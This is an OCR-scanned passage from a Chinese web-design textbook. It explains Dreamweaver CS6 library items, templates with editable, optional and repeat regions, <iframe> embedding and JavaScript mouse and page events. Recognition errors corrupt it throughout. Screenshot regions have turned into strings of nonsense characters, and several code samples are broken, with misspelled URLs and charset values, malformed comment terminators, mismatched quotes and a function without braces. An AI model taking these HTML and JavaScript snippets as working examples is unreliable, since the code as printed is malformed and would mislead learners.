
<td id="td1” onmouseover= 

"this.style.backgroundColor=#EBEEF6';td2.style.backgroundColor=",td3.style.backgroundColor=",td4.style.back 

groundColor=","> 

<a href="#" onMouseOver 

="MM_showHideLayers('Layer1',",'show,'Layer2',",'hide',Layer3',",'hide','Layer4',",'hide')"> 标 签 1</a></td> 

在 <td> 标 签 中 , 设置 id="td1", 这 样 就 可 以 把 这 个 单元 格 作 为 对 象 ， 进 行 相关 的 编程 。 onmouseover 
是 一 个 鼠标 事件 , 在 鼠标 经 过 时 发 生 。 后面 是 相关 的 JavaScript 控制 代码 ， 实 现 本 单元 格 背 景 颜色 的 改 
变 ， 并 实现 其 他 单元 格 背 景 颜 色 的 复原 。 

需要 注意 的 是 ， 鼠 标 事件 后 面 是 一 个 实现 交互 功能 的 JavaScript 字符 串 , 用 符合 字符 串 的 规则 写 一 
个 字符 串 。 如 果 有 多 个 语句 则 需要 用 分 号 隔 开 ， 在 需要 使 用 引号 时 用 单 引号 代替 双 引 号 。 
同样 ， 用 这 种 方法 ， 可 以 实现 其 他 形式 的 网 页 布局 。 很 多 滚动 内 容 、 滚 动 图 片 、 用 户 选择 网 页 样 
式 、 用 户 改变 自己 网 页 布局 、 网 页 标签 栏 控制 等 方式 的 布局 ， 都 需要 用 到 JavaScript 网 页 编程 。 这 样 的 
技术 可 以 大 大 地 丰富 网 页 布局 的 效果 ， 增 强 网 页 的 交互 性 能 。 

虽然 这 样 的 功能 也 可 以 使 用 HTML 和 网 页 后 台 程序 的 方法 来 实现 ， 但 是 这 样 的 实现 方式 会 重新 下 
载 网 页 ， 访 问 速度 会 严重 影响 网 页 效果 。 


12.5 小 结 


本 章 主要 讲述 了 网 页 布局 的 内 容 。 网 页 布局 就 是 用 网 页 制作 软件 Dreamweaver 或 图 片 设计 软件 实 
现 网 页 的 基本 排版 。 一 个 高 档次 的 网 页 ， 必 须要 有 良好 的 网 页 布局 排版 。 网 页 布局 是 设计 一 个 网 站 的 
重要 内 容 。 

在 网 页 布局 时 需要 注意 表格 与 层 的 使 用 。 使 用 层 和 表格 来 实现 对 网 页 版 面 的 切割 ， 用 表格 与 层 的 
复杂 和 典 套 实现 网 页 的 复杂 布局 。 
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网 页 模板 


了 ”创建 库 项 目 
”创建 模板 
Pl 利用 和 模板 创建 网 页 


在 网 站 设计 过 程 中 ， 如 果 网 站 的 规模 很 大 ， 有 很 多 网 页 ， 那 么 进行 网 页 相关 模块 的 管 
理 是 一 件 非 常 繁琐 的 事情 。 例 如 ， 网 站 的 首部 、 尾 部 信息 ， 如 果 需 要 修改 ， 就 需要 修改 网 
站 中 所 有 网 页 的 相关 内 容 。 

本 章 将 介绍 的 网 页 的 模板 技术 ， 就 是 使 用 文件 共享 或 模块 共享 的 方法 ， 使 不 同 的 网 页 
公用 基 一 模块 ， 从 而 使 网 站 能 够 更 好 地 使 用 基 些 公共 模块 。 对 这 一 模块 进行 编辑 时 ， 可 以 
同时 更 改 网 页 中 所 有 使 用 了 这 个 模块 的 网 页 ， 这 种 方法 可 以 极 大 地 简化 开发 过 程 。 
Dreamweaver C56 取消 了 框架 页 模板 ， 读 者 可 以 注意 这 个 改变 。 
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13.1 创建 模板 网 页 


网 页 中 有 很 多 相同 的 部 分 。 例 如 ， 每 一 页 都 会 有 导航 条 、Logo、 版 权 栏 等 内 容 ， 这 些 内 容 在 所 有 
的 网 页 中 都 相同 。 但 是 在 进行 网 站 设计 时 ， 网 页 的 数目 可 能 非常 多 ， 在 进行 这 些 相同 的 信息 修改 时 就 
会 修改 所 有 的 网 站 ， 这 将 是 一 件 繁琐 的 工作 。 

网 页 模板 就 是 把 网 页 的 这 些 完全 相同 的 部 分 做 成 一 个 公用 模板 网 页 。 完 成 模板 以 后 ， 工 作 时 只 需 
要 在 模板 的 基础 上 修改 网 页 中 不 同 的 部 分 ， 而 在 具体 网 页 中 ， 模 板 内 容 是 不 可 以 更 改 的 。 在 更 改 模板 
时 可 以 一 次 性 完成 对 这 些 相同 内 容 的 更 改 ， 这 就 极 大 地 方便 了 网 站 的 设计 。 


13.1.1 创建 库 项 目 


在 网 页 设计 时 ， 可 以 把 相关 的 内 容 做 成 一 个 公用 模块 ， 作 为 这 个 工程 的 资源 。 在 工程 中 ， 这 个 公 
用 的 资源 就 是 库 项 目 。 在 网 页 设计 时 ， 可 以 直接 调用 这 个 库 项 目 。 当 对 库 项 目 进行 修改 时 ， 会 对 整个 
站 点 中 所 有 使 用 这 个 库 项 目的 网 页 进行 修改 。 

库 项 目 是 相对 于 一 个 站 点 的 ， 所 以 需要 使 用 库 项 目 时 ， 则 要 先 建立 一 个 站 点 。 选 择 一 个 工作 站 点 ， 
并 在 工作 站 点 中 使 用 库 项 目 。 

(1) 在 Dreamweaver 中 可 以 很 方便 地 使 用 库 项 目 。 选 择 “ 文 件 ”| “新 建 ”命令 ， 在 弹出 的 “新 
建文 档 ” 对 话 框 中 选择 “空白 页 ”选项 ， 然 后 在 “页 面 类 型 ”列表 中 选择 “ 库 项 目 ” 选 项 。 单 击 “ 创 
建 ” 按 钮 ， 创 建 一 个 库 项 目 ， 如 图 13-1 所 示 。 
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图 13-1 在 工程 中 新 建 一 个 库 项 目 


(2) 编辑 库 项 目的 内 容 。 新 建 库 项 目 以 后 ， 可 以 在 库 项 目 中 编辑 内 容 。 库 项 目的 编辑 与 网 页 的 编 
辑 是 完全 相同 的 ， 只 是 不 使 用 网 页 中 的 <head>、<body> 等 标签 。 在 编辑 库 项 目 时 ， 需 要 考虑 调用 这 个 
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库 项 目的 网 页 版 式 ， 在 库 项 目 中 合理 地 进行 布局 与 排版 。 如 图 13-2 所 示 ， 在 网 页 中 插入 一 个 1 行 2 列 
的 表格 ， 在 每 个 单元 格 中 插入 一 张 图 片 ， 然 后 选择 “文件 ”| “保存 ”命令 ， 保 存 这 个 库 项 目 网 页 ， 
所 编辑 的 库 项 目 网 页 就 可 以 作为 一 个 整体 ， 插 入 到 需要 使 用 这 些 内 容 的 网 页 中 。 

(3) 库 项 目 管理 器 。 选 择 “窗口 ”| “资源 ”命令 ， 打 开 “ 资 源 ”面板 。 在 “资源 ”面板 中 单 击 
“ 库 ” 按 钮 回 ， 可 以 查看 站 点 资源 中 的 库 项 目 ， 如 图 13-3 所 示 。 在 站 点 的 资源 中 ， 可 以 把 库 项 目 看 作 
是 一 个 组 件 ， 被 站 点 中 的 网 页 调用 。 选 择 一 个 库 项 目 ， 可 以 在 预览 区 预览 这 个 库 项 目的 内 容 。 
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图 13-2 在 库 项 目 中 编辑 内 容 图 13-3 在 “资源 ”面板 中 管理 库 项 目 


(4) 库 项 目的 使 用 。 建 立 库 项 目 以 后 ， 当 网 页 中 需要 这 个 库 项 目 元 素 时 ， 只 需要 在 “资源 ”面板 
中 把 这 个 库 项 目 拖 到 网 页 中 。 或 者 选择 了 库 项 目 以 后 ， 单 击 “ 插 入 ”按钮 。 这 样 ， 整 个 站 点 中 的 所 有 
元 素 会 把 这 个 库 项 目 作为 一 个 整体 来 处 理 ， 如 图 13-4 所 示 。 
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Ge 人 1e:///D /myweb/a/ ku htnl = 


"hrcp://www.w3.org/TR/xhrcmll/DTD/xhr 
mll-transitional.ded"> 

<html xmlns= 日 
"herp://www.w3.org/1999/xhtml"> 

<head> 

‘<meta http-equive"Content-Type” lL 
content="text/html; charsec=urf-8" / 


> 
<title> 库 硕 目 </title> 
</head> 二 


全 他 赃 叶 和 疆 甘 加 


<body> 
本 WeginLibraryites "/pic.1bi" 


sis [» 


<cd height="127"><div 
align="center"><ing arc="2.jpgr 


局 向 民 可 而 


-上 
4 yo 
av ne Libiten| NI lo0% vl3e4 x 4%Mv kK/ 1 和 WD Unicode OTF-6) 


图 13-4 使 用 了 库 项 目的 网 页 
(5) 当 库 项 目 更 改 时 ， 选 择 “ 文 件 ”|“ 保 存 ” 命 令 ， 保 存 对 库 的 修改 。 之 后 选择 “修改 ”|“ 库 ”| 


@ 


本 


“更 新 页 面 ”命令 ， 弹 出 “更 新 页 面 ”对 话 框 ， 如 图 13-5 所 示 。 在 “查看 ”下 拉 列 表 框 中 选择 “整个 
站 点 ”选项 和 需要 更 新 的 站 点 名 称 ， 单 击 “ 开 始 ” 按 钮 ，Dreamweaver CS6 会 自动 更 新 站 点 中 所 有 使 
用 了 库 项 目的 网 页 。 


查看 中 ); [整个 站 点 | [ereb 


更 新 - 辕 库 硕 目 必 
回 模板) 


加 显示 记录 00 
| 状态 : 


13-5 ”更 新 网 站 中 的 库 项 目 


(6) 关于 库 项 目的 代码 。 库 项 目 实际 上 是 Dreamweaver 将 站 点 中 一 部 分 经 常 使 用 的 内 容 封 装 成 

的 一 个 文件 。 网 页 中 调用 库 项 目 内 容 时 ， 将 这 个 文件 中 的 内 容 放 到 网 页 的 代码 中 ， 并 且 以 一 个 HTML 
注释 在 网 页 中 作出 标记 。 例 如 ， 下 面 的 网 页 就 是 用 <!-- #BeginLibraryItem "pic.lbi" --> 开 始 库 项 目的 标 
记 ， 以 <!-- #EndLibraryItem --> 结 束 库 项 目的 标记 。 库 项 目 更 新 时 ， 再 自动 替换 工程 中 所 有 的 标记 中 库 
项 目的 代码 ， 实 现 站 点 中 所 有 网 页 的 库 项 目 更 新 。 示 例 中 使 用 库 项 目的 网 页 代码 如 下 : 

<html xmIns="http://www.w3.org/1999/xhtmI"> 

<head> 

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<title> 库 项 目 </title> 

</head> 


<body> 
<!-- #BeginLibraryltem "pic.lbi" --> <!-- 使 用 库 项 目的 标记 --> 
<table width="317" border="1" align="center"> 
<tr> 
<td height="127"><div align="center"><img src="2.jpg" width="130" height="98"></div></td> 
<td><div align="center"><img src="4.jpg" width="125" height="104"></div></td> 
</tr> 
</table> 
<!-- #EndLibraryltem --> <!- 结 束 库 项 目 内 容 的 标记 --> 
</body> 
</html> 
库 项 目 方法 可 以 把 网 站 中 的 很 多 内 容 作 为 独立 的 模块 进行 编辑 ， 编 辑 一 个 模块 以 后 可 以 实现 对 整 
个 网 站 的 更 新 。 这 样 可 以 在 网 页 开发 时 ， 对 网 站 中 多 次 使 用 的 内 容 作为 独立 模块 来 处 理 ， 从 而 大 大 地 
提高 开发 效率 。 


13.1.2 ”创建 模板 


库 项 目 可 以 实现 把 一 个 模块 作为 对 象 进 行 开发 。Dreamweaver 也 可 以 设计 出 一 个 可 以 供 站 点 中 所 
有 网 页 进行 调用 的 公共 网 页 ， 其 他 网 页 的 编辑 可 以 在 这 个 公共 网 页 的 基础 上 进行 ， 这 就 是 模板 。 
整个 网 站 中 的 网 页 ， 常 常 具有 完全 相同 的 布局 与 样式 。 可 以 把 这 种 布局 与 样式 作为 一 个 模板 ， 只 
需要 更 改 模板 以 外 网 页 不 同 的 内 容 ， 即 可 新 建 一 个 网 页 。 对 模板 进行 编辑 以 后 ， 可 以 更 新 网 站 中 所 有 
的 网 页 ， 这 就 是 模板 的 功能 。 
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(1) Dreamweaver 可 以 很 方便 地 建立 网 站 模板 ， 网 页 的 模板 必须 在 站 点 中 进行 ， 需 要 选择 13.1.1 
节 所 建立 的 站 点 作为 工作 站 点 。 选 择 “ 文 件 ”| “新 建 ”命令 ， 将 显示 如 图 13-6 所 示 的 对 话 框 。 选 择 
“ 空 模板 ”选项 ， 在 “模板 类 型 ”列表 中 选择 “HTML 模板 ”选项 ， 在 显示 的 “布局 ”列表 中 选择 一 
个 布局 ， 单 击 “创建 ”按钮 ， 创 建 一 个 模板 网 页 。 


村 
模板 类型 布局 
站 | 时 hsP Javsseript 模板 | | 元 > _ 
旧 em 吗 ASP VBScript 模板 rT 
呈 ASP ET ce 模板 1 列 加 证 ， 居 中 ， 标 是 和 村主 
空 模板 时 ASP_IET YB 模板 1 列 壤 态 ,居中 
加 Coldfusion be 1 列 址 态 ， 居 中 ， 标 题 和 用 主 
一 mL 2 列国 定 , 右 仙 攻 
全 i。 2 到 了 定 ， 右 则 位 、 标 星矢 主 = 
二 
2 到 固定， 左 介 位 、 标 是 和 ol 主 
模板 中 的 页 由 co 各 
2 列 液态 ， 右 便 栏 、 标 厅 和 盾 主 
] 乔 2 列 寺 态 , 左 便 栏 
Gi 2 列 坟 态 ， 左 全 们 、 标 题 和 所 主 。。 | 一 个 居中 列 ， 珊 度 以 像素 表示 。 
3 3 证 
3 有 大 证 , 标 四 和 主 
3 列 液 态 
3 列 坟 态 , 村 
se se i i 本 
mMLS; 3 列国 证， 标 是 和 轩 主 布局 Css 位置 [ 球 到 文科 天 本 
附加 css 文件 - 
[| 后 SR rc stine 
0 | Ms 站 | 二 ee 


13-6 ”在 Dreamweaver 中 新 建 一 个 模板 


(2) 插入 模板 对 象 。 创 建 模板 页 以 后 需要 使 用 模板 工具 向 模板 页 中 插入 模板 对 象 ， 如 图 13-7 所 
示 是 Dreamweaver CS6 的 模板 工具 。 单 击 一 个 模板 对 象 工 具 即 可 在 模板 网 页 中 插入 一 个 模板 对 象 。 
Dreamweaver CS6 中 有 以 下 几 种 模板 对 象 。 
创建 模板 : 创建 一 个 网 页 或 模板 页 以 后 ， 模 板 即 可 保存 为 一 个 模板 网 页 。 一 个 普通 网 页 只 要 
插入 了 模板 对 象 就 可 以 创建 一 个 模板 。 
创建 嵌 套 模板 : 一 个 网 页 使 用 了 模板 以 后 ， 如 果 再 插入 其 他 模板 对 象 ， 即 可 创建 幅 套 模板 。 
可 编辑 区 域 ， 模 板 的 一 个 区 域 ， 使 用 这 个 模板 的 网 页 可 以 对 这 个 区 域 进行 编辑 。 

可 选区 域 : 使 用 这 个 模板 的 网 页 可 以 选择 是 否 使 用 这 个 区 域 的 内 容 。 
重复 区 域 : 使 用 这 个 模板 的 网 页 可 以 一 次 或 多 次 使 用 模板 这 个 区 域 的 内 容 。 


回 


回回 回回 轿 加 


可 编辑 的 可 选区 域 : 网 页 可 以 选择 是 否 使 用 这 个 区 域 的 内 容 ， 并 且 可 以 编辑 这 个 


重复 表格 : 网 页 可 以 重复 使 用 这 个 表格 中 己 有 的 行 。 


区 | 
国 


13-7 Dreamweaver CS6 的 模板 工具 
(3) 网 页 中 除了 这 些 可 以 插入 的 模板 对 象 之 外 ， 其 他 内 容 都 是 模板 中 的 静态 内 容 。 插 入 到 模板 中 


UL 网 页 制作 与 网 站 建设 技术 详解 


以 后 是 不 能 选择 或 更 改 的 。 当 模板 中 的 内 容 进 行 编辑 以 后 ， 会 自动 更 新 站 点 中 所 有 使 用 了 这 个 模板 的 


网 页 ， 网 站 中 不 


变 的 内 容 都 可 以 制作 成 模板 中 的 静态 内 容 。 


13.1.3 ”创建 可 编辑 区 域 


所 谓 可 编辑 


区 域 ， 指 的 是 模板 网 页 插入 的 一 块 可 供 使 用 模板 的 网 页 编辑 的 区 域 。 使 用 模板 的 网 页 ， 


可 以 在 模板 网 页 
在 设计 视图 
域 ”命令 ， 即 可 


预 留 的 可 编辑 区 域 中 编辑 内 容 。 
中 单 击 需 要 插入 可 编辑 区 域 的 位 置 ， 然 后 选择 “插入 ”| “模板 对 象 ” | “可 编辑 区 
在 网 页 中 插入 一 个 可 编辑 区 域 的 模板 对 象 。 可 编辑 区 域 的 网 页 代码 如 下 : 


<!-- TemplateBeginEditable name="EditRegion" --> 可 编辑 的 内 容 

<!-- TemplateEndEditable —> 

模板 对 象 的 标记 是 以 HTML 注释 标记 实现 的 。 可 编辑 区 域 以 TemplateBeginEditable 开始 ， 以 
TemplateEndEditable 结束 。 命 名 的 标记 是 name="EditRegion2"， 其 中 两 个 注释 标记 之 间 的 内 容 就 是 横 
板 中 的 可 编辑 区 域 。 


13.1.4 创建 其 他 模板 区 域 


同 可 编辑 区 
择 区 域 、 重 复 区 
开发 。 模 板 网 页 


域 一 样 ， 在 模板 网 页 中 可 以 同 创建 可 编辑 区 域 一 样 创 建 其 他 模板 区 域 。 模 板 中 的 可 选 
域 、 可 编辑 可 选择 区 域 等 内 容 ， 灵 活 地 插入 到 网 页 模板 以 后 ， 可 以 极 大 地 方便 网 页 的 
中 的 可 选择 区 域 代码 如 下 : 


<!-- TemplateBeginlf cond="OptionalRegion1" --> 可 选择 区 域内 容 
<!-- TemplateEndIf --> 


模板 网 页 中 


的 可 重复 区 域 代码 如 下 : 


<!-- TemplateBeginRepeat name="RepeatRegion1" --> 可 重复 区 域内 容 
<!-- TemplateEndRepeat --> 


模板 网 页 中 


的 可 编辑 可 选择 区 域 的 代码 如 下 : 


<!-- TemplateBeginlf cond="OptionalRegion1" --> 

<!-- TemplateBeginEditable name="EditRegion3" --> 可 编辑 可 选择 区 域 的 内 容 
<!-- TemplateEndEditable —> 

<!-- TemplateEndIf -> 


模板 网 页 中 的 重复 表格 的 代码 如 下 : 


<table width="75%" border="3" cellspacing="0" cellpadding="0"> 
<!-- TemplateBeginRepeat name="RepeatRegion1" —> 


<tr> 


<td><!-- TemplateBeginEditable name="EditRegion3" ->&nbsp;<!-- TemplateEndEditable --></td> 
<td><!-- TemplateBeginEditable name="EditRegion4" ->&nbsp;<!-- TemplateEndEditable --></td> 


</tr> 


<!I-- TemplateEndRepeat —> 


<tr> 


<td>&nbsp;</td> 
<td>&nbsp;</td> 
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</tr> 
</table> 


13.1.5 ”实例 : 创建 一 个 模板 网 页 


利用 模板 的 方法 ， 可 以 快速 创建 网 站 的 网 页 ， 并 快速 地 更 改 网 站 中 公用 的 内 容 。 本 节 以 一 个 实例 
讲解 网 页 模板 的 制作 。 具 体操 作 步 又 如 下 : 

(1) 新 建 一 个 HTML 模板 网 页 。 

(2) 在 模板 网 页 中 编辑 网 页 的 内 容 。 模 板 网 页 的 内 容 编辑 与 普通 网 页 的 编辑 相同 ， 如 图 13-8 所 


示 。 这 些 网 页 内 容 在 模板 网 页 中 都 是 其 他 网 页 的 公用 内 容 。 


图 13-8 在 Dreamweaver 中 编辑 模板 网 页 的 内 容 


(3) 选择 “插入 ”| “模板 对 象 ”| “可 编辑 区 域 ”命令 ， 在 网 页 中 插入 一 个 可 编辑 区 域 。 其 他 
使 用 这 个 模板 的 网 页 可 以 在 这 个 区 域 编辑 网 页 的 内 容 ， 如 图 13-9 所 示 。 


图 13-9 在 模板 网 页 中 插入 可 编辑 区 域 


(4) 保存 模板 。 完 成 模板 网 页 的 编辑 以 后 ， 保 存 模板 网 页 。 在 “另存 模板 ”对 话 框 的 “站 点 ”下 
拉 列 表 框 中 选择 这 个 模板 所 在 的 站 点 ， 如 图 13-10 所 示 。 在 “另存 为 ”文本 框 中 输入 模板 的 名 称 ， 单 
击 “ 保 存 ” 按 钮 完成 模板 的 保存 。 


13.1.6 ”利用 模板 创建 网 页 


在 站 点 中 ， 建 立 好 模板 以 后 ， 即 可 使 用 模板 来 创建 网 页 。 使 用 模板 创建 的 网 页 ， 只 可 以 编辑 模板 
中 已 经 设 定好 的 可 编辑 或 可 选择 的 对 象 。 网 页 模板 中 的 非 模板 对 象 都 是 固定 的 ， 不 可 以 编辑 。 当 再 次 
修改 网 页 模板 时 ， 在 Dreamweaver 中 会 提示 更 新 站 点 中 所 有 使 用 了 这 个 模板 的 网 页 。 

(1) 利用 网 页 模板 新 建 网 页 。 选 择 “文件 ”| “新建” 命令 ,新建 一 个 网 页 。 在 “新 建文 档 ” 对 
话 框 中 选择 “模板 中 的 页 ”选项 ， 再 在 “站 点 ”列表 中 选择 一 个 站 点 。 在 “站 点 ‘newweb” 的 模板 ” 
列表 中 选择 一 个 需要 的 模板 ， 然 后 再 单 击 “ 创 建 ” 按 钮 ， 新 建 一 个 网 页 ， 如 图 13-11 所 示 。 


办 空 自 页 EE 


示例 中 的 页 
[ 因 他 


文档 类 型 


克 当 模板 改变 时 更 新 页 面 u) 


13-11 使 用 模板 创建 网 页 


(2) 在 网 页 的 可 编辑 区 域 中 编辑 网 页 内 容 。 利 用 模板 创建 的 网 页 ， 模 板 的 内 容 在 网 页 中 是 不 能 编 
辑 的 。 在 编辑 网 页 时 ， 只 需要 编辑 可 编辑 区 域 或 可 选择 区 域 。 这 样 ， 网 页 的 编辑 只 是 编辑 网 页 的 一 部 


分 内 容 。 如 图 13-12 所 示 是 在 网 页 中 编辑 模板 的 可 编辑 区 域 。 


醒 PE Ee RY 


TT 


77e™ 
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目 四 |g 可 入 名 区 域 中 编辑 的 内 容 。 


内 容 链接 1 


目 内 容 链接 1 
目 内 容 链接 1 
引 | 内 容 链接 1 
目 内 容 链接 1 
了 | 办 容 链接 1 

内 容 链接 1 
| | 内容 镑 接 1 
站 | 客居 恬 1 


图 13-12 在 网 页 中 编辑 可 编辑 区 域 


(3) 在 需要 编辑 模板 时 ， 可 以 打开 模板 网 页 进行 编辑 。 保 存 模板 网 页 时 ， 会 自动 更 新 网 页 中 使 用 
的 这 个 模板 网 页 。 

(4) 运行 这 个 网 页 ， 效 果 如 图 13-13 所 示 。 可 见 使 用 模板 网 页 新 建 网 页 时 ， 可 以 实现 与 直接 新 建 
网 页 相同 的 效果 ， 并 减少 网 页 的 设计 步骤 。 
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图 13-13 用 模板 创建 网 页 的 效果 


ae s mw a 


13.2 常见 问题 


在 使 用 模板 和 库 项 目 建立 网 页 时 ， 需 要 正确 理解 模板 和 库 项 目的 含义 。 网 页 中 并 没有 包含 模板 和 
库 项 目的 文件 ， 只 是 用 一 种 标记 方法 完成 这 些 内 容 的 蔡 换 。 


13.2.1 网 页 模板 与 库 项 目的 实质 


本 书 中 所 说 的 网 页 模板 与 库 项 目 都 是 针对 Dreamweaver 中 的 网 页 模板 与 库 项 目 。Dreamweaver 为 
了 方便 网 站 的 开发 、 减 少 设计 相同 的 操作 提出 了 这 两 个 概念 。 

这 种 技术 的 实质 是 ， 在 网 页 中 插入 一 定 标记 的 HTML 注释 ， 这 些 注释 可 以 标记 网 页 中 的 一 些 内 容 
作为 模板 或 库 对 象 。 用 户 在 使 用 这 些 对 象 进行 工作 时 ，Dreamweaver 会 根据 约定 给 用 户 的 开发 带 来 一 
些 便捷 。 用 户 在 编辑 模板 与 库 对 象 以 后 ，Dreamweaver 会 分 别 检查 更 新 网 页 中 所 有 使 用 了 这 些 注释 的 
内 容 。 

网 页 模板 与 库 对 象 只 是 Dreamweaver 进行 开发 时 才 有 的 概念 ， 开 发 完成 以 后 ， 对 浏览 器 来 说 所 有 
的 网 页 都 是 等 同 的 。 不 可 以 理解 为 浏览 器 读 取 模板 ， 再 根据 模板 加 载 网 页 的 内 容 。 不 同 的 就 是 网 页 中 
有 一 些 注释 标记 ， 这 些 注释 标记 是 不 显示 的 。 

网 页 模板 与 库 对 象 只 是 Dreamweaver 的 技术 , 其 他 的 网 站 开发 软件 可 能 有 不 同 的 解决 方法 与 技术 。 
Dreamweaver 定义 的 网 页 模板 与 库 对 象 可 能 不 被 其 他 的 网 站 开发 软件 所 支持 。 


13.2.2 ”在 网 页 中 如 何 使 用 <iframe> 框 架 网 页 


网 页 框架 可 以 实现 网 页 的 布局 , 也 就 是 在 网 页 中 嵌入 另外 的 网 页 .还 有 一 种 网 页 嵌入 标签 <iframe>， 
它 与 框架 不 同 的 是 ,<ifame> 可 以 在 网 页 的 任意 位 置 嵌入 另 一 个 网 页 , 所 嵌入 的 网 页 可 以 方便 地 设置 大 
小 与 样式 。 例 如 : 

<iframe name=iframe1 width=420 height=330 frameborder=0 scrolling=auto src=http://www.baidu.com> </iframe> 


这 段 代码 是 在 网 页 中 嵌入 百度 的 首页 。 相 关 参 数 如 下 。 
回 name: 子 网 页 的 命名 。 其 他 链接 的 目标 可 以 指向 这 个 嵌入 页 的 名 称 ， 单 击 链接 时 会 在 这 个 巾 
入 网 页 的 窗口 中 打开 网 页 。 
width 和 height: 所 嵌入 网 页 的 宽度 与 高 度 。 
frameborder: 媒 入 网 页 是 和 否 有 边框 。 
scrolling: 是 否 需要 滚动 条 。 
src: 嵌入 网 页 的 URL， 可 以 是 网 站 内 的 网 页 ， 也 可 以 是 外 部 网 站 的 网 页 。 
<iframe> 的 frameborder 如 果 设 置 为 1， 和 能 入 一 个 文本 网 页 时 ， 会 自动 产生 滚动 条 ， 会 有 很 好 的 文 
本 显示 效果 ， 如 图 13-14 所 示 。 
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网 生生 隐 有 的 机 局 ， 也 就 是 在 网 页 种 说 入 另外 


还 有 一 种 网 页 嵌入 标签 <i6ame>。 

与 框架 不 同 的 是 ， 次 全 次 的 全 二 人 由于 好 作品 从 | 

个 网 页 ， 所 嵌入 的 网 页 可 以 方便 的 设置 大 小 与 样式 。 例 Ee 

有 Rt 和 克 名 和 让 I 相关 参数 
height， 所 诬 入 网 页 的 宽度 与 高 度 。 

澡 ai 可 以 是 网 站 内 的 网 页 ， 也 可 以 是 外 

Framebcrder， 谋 入 网 页 的 边框 。 

Scroling， 是 否 需要 滚动 条 、 

RR 也 就 是 在 网 页 种 说 入 另外 


还 有 一 种 网 页 嵌入 标签 <8ame>。 
与 不 有 的 是 ,可 以 在 网 页 的 人 划一 个 人 小 和 外- - 


图 13-14 在 网 页 中 使 用 <iframe> 框 架 实现 文本 显示 
133 村 结 


本 章 讲述 了 网 页 的 模板 。 模 板 是 网 页 设计 中 比较 高 级 的 内 容 ， 很 好 地 体现 了 Dreamweaver 在 大 型 
网 页 项 目 开 发 中 的 先进 性 ， 这 种 技术 可 以 尽量 地 避免 开发 时 的 重复 工作 。 在 网 页 很 多 、 规 模 较 大 的 网 
站 中 ， 需 要 使 用 模板 技术 。 

在 使 用 模板 和 库 项 目 制作 网 站 时 ， 网 站 的 设计 并 不 再 是 单纯 地 设计 一 个 网 页 ， 而 是 从 一 个 项 目 工 
程 的 角度 进行 统一 规划 和 模块 化 设计 。 
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网 页 特效 


特效 中 的 行为 和 事件 

使 用 Dreamweaver 内 置 行为 
利用 和 脚本 制作 特效 网 页 
JavaScript 基 珊 知 织 


各 吾 吾 至 


HTML 网 页 只 能 按照 设计 要 求 排版 出 网 站 的 网 页 , 但 是 网 页 中 有 时 还 需要 一 些 交 互 功 
能 ， 这 时 一 般 需 要 JavaScript 编程 实现 。 这 些 JavaScript 实现 的 网 站 功能 就 是 网 页 特效 。 

网 页 特效 的 实现 原理 ， 是 把 HTML 网 页 中 所 有 的 元 素 作 为 编程 对 象 ， 使 用 Javascript 
程序 对 网 页 实现 交互 功能 的 控制 。 网 页 中 的 播放 声音 、 弹 出 信息 、 检 查 表单 、 拖 动 层 、 改 
变 属性 等 特效 可 以 大 大 增强 网 页 的 交互 功能 。 
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14.1 特效 中 的 行为 和 事件 


网 页 特效 中 所 有 的 内 容 是 由 网 页 的 行为 和 网 页 的 事件 一 起 构成 的 ， 网 页 的 行为 和 事件 是 JavaScript 
对 HTML 网 页 互动 性 的 有 力 扩充 。 使 用 JavaScript 进行 用 户 交 互 的 编程 ， 利 用 网 页 中 的 行为 和 事件 ， 
可 以 大 大 地 增强 网 页 的 交互 性 能 和 可 操作 性 。 


14.1.1 网 页 行为 


网 页 中 产生 的 用 户 信息 交互 就 是 网 页 的 行为 。 例 如 ， 可 以 使 用 户 打 开 网 页 时 弹出 一 个 对 话 框 ， 这 
就 是 一 个 行为 。 网 页 中 不 同 的 元 素 和 对 象 有 不 同 的 行为 ， 所 有 不 同 的 网 页 行为 构成 了 网 页 中 的 特效 。 

网 页 行为 一 般 是 JavaScript 针对 网 页 中 的 对 象 进行 编程 控制 实现 的 。JavaScript 与 网 页 对 象 之 间 有 
着 大 量 的 接口 ， 通 过 这 些 接口 的 调用 ， 可 以 实现 各 种 功能 的 网 页 行为 。 


14.1.2 ”网 页 事件 


网 页 中 的 行为 需要 一 个 动作 来 触发 ， 例 如 ， 一 次 鼠标 单 击 、 敲 击 键盘 等 可 以 触发 一 个 网 页 行为 ， 
这 就 是 网 页 事件 。 
网 页 事件 的 实质 是 JavaScript 捕获 一 个 用 户 与 浏览 器 的 交互 响应 , 用 户 在 操作 浏览 器 时 会 产生 一 个 
网 页 事件 。 网 页 中 常用 的 事件 如 下 。 
onClick: 鼠标 单 击 时 发 生 。 
onDbclick: 鼠标 双击 时 发 生 。 
onKeypress: 当 在 键盘 上 敲 击 某 一 个 键 时 发 生 。 
onMouseDown: 鼠标 按 下 时 发 生 。 和 单 击 不 同 的 是 可 以 不 释放 。 
onMouseOut: 鼠标 移出 这 个 对 象 时 发 生 。 
onMouseOver: 鼠标 经 过 这 个 对 象 时 发 生 。 
onMouseUp: 鼠标 从 这 个 对 象 上 抬 起 时 发 生 。 
onLoad: 网 页 打开 时 发 生 。 
onUnload: 网 页 关闭 时 发 生 。 
onResize: 更 改 窗 口 大 小 时 发 生 。 
onFocus: 对 象 获得 焦点 时 发 生 。 
onBlur: 对 象 失 去 焦点 时 发 生 。 
onChange: 当下 拉 菜 单 的 选项 更 改 时 发 生 。 


14.1.3 一 个 简单 的 网 页 事件 和 网 页 行为 


在 JavaScript 中 , 可 以 针对 网 页 中 的 对 象 对 这 些 事件 进行 编程 , 用 户 与 浏览 器 进行 交互 时 会 激活 相 
关 的 网 页 行为 ， 从 而 达到 与 用 户 进行 数据 交互 的 过 程 。 下 面 是 根据 不 同 的 时 间 ， 弹 出 一 个 问候 对 话 框 


的 例子 。 
-加 


加 回回 回回 加 回国 国 罗 轿 罗 加 


Nas mw age 


(1) 打开 Dreamweaver CS6， 选 择 “ 文 件 ”| “新建” 命令 ， 在 弹出 的 “新 建文 档 ” 对 话 框 中 新 


建 一 个 HTML 网 页 。 
(2) 选择 “文件 ”| “保存 ”命令 ， 
(3) 在 网 页 的 代码 
代码 。 
<script language="LiveScript"> 
void function hello() 


var str; 


now = new Date(),hour = now.getHours() 


if(hour < 6) 

str = " 太 晚 了 ， 请 休息 。"; 
else if (hour < 12) 

str = "上 午 好 ， 工 作 恰 快 。"; 
else if (hour < 14) 

str = "中 午 好 。"; 
else if (hour < 18) 

str = "下 午 好 ， 祝 工作 顺利 。"; 
